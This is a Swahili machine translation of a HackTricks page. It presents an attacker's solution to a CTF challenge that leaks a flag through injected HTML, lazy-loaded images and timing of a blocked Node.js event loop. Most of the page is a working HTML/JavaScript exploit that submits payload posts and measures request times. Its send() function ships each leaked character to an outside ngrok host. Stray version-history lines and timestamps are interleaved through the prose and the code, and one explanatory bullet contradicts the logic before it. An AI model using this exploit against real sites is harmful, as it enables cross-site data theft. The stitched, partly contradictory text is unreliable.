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hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

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Translated to Swahili
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# Kuzuia Mzunguko wa Tukio + Picha za Uzembe
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
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Translated to Swahili
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* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
Translated to Swahili
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Katika [**udukuzi huu**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) anachanganya **njia ya upande wa picha za uzembe** kupitia kuingiza HTML na aina fulani ya **njia ya kuzuia mzunguko wa tukio** ili kuvuja herufi.
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Hii ni **udukuzi tofauti kwa changamoto ya CTF** ambayo tayari ilikuwa imezungumziwa katika ukurasa ufuatao. angalia kwa maelezo zaidi kuhusu changamoto:
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{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
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Wazo nyuma ya udanganyifu huu ni:
GitBook: [#3600] No subject
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Translated to Swahili
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* Machapisho yanaingizwa kwa herufi kwa utaratibu wa alfabeti
* **Mshambuliaji** anaweza **kuingiza** chapisho kwa kuanza na **"A"**, kisha **tag ya HTML** fulani (kama **`<canvas`** kubwa) itajaza sehemu kubwa ya **skrini** na baadhi ya **`<img lazy` tags** za kupakia vitu.
* Ikiwa badala ya "A" mshambuliaji anaingiza chapisho sawa lakini kuanza na "z", **chapisho** lenye **bendera** litatokea **kwanza**, kisha **chapisho** lililoingizwa litatokea na "z" ya awali na **canvas** kubwa. Kwa sababu chapisho lenye bendera limeonekana kwanza, canvas ya kwanza itachukua nafasi yote ya skrini na **`<img lazy`** tags za mwisho zilizoingizwa **hazitaonekana** kwenye skrini, kwa hivyo hazitapakia.
* Kisha, **wakati** boti ina **fikia** ukurasa, **mshambuliaji** atatuma **ombi za kupata**.&#x20;
* Ikiwa **picha** zilizoingizwa kwenye chapisho zinapakia, ombi za **kupata** hizi zitachukua **muda mrefu**, kwa hivyo mshambuliaji anajua kuwa **chapisho kipo kabla ya bendera** (kwa utaratibu wa alfabeti).
* Ikiwa ombi za **kupata** zina **haraka**, inamaanisha kuwa **chapisho** kipo **kabla ya** bendera kwa **utaratibu wa alfabeti**.
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Translated to Swahili
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Hebu angalia nambari:
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```html
<!DOCTYPE html>
<html>
<!--
Translated to Swahili
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
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-->
<body>
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<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
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</body>
</html>
```
<details>
Translated to Swahili
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Swahili
2024-02-11 02:13:58 +00:00
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
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</details>
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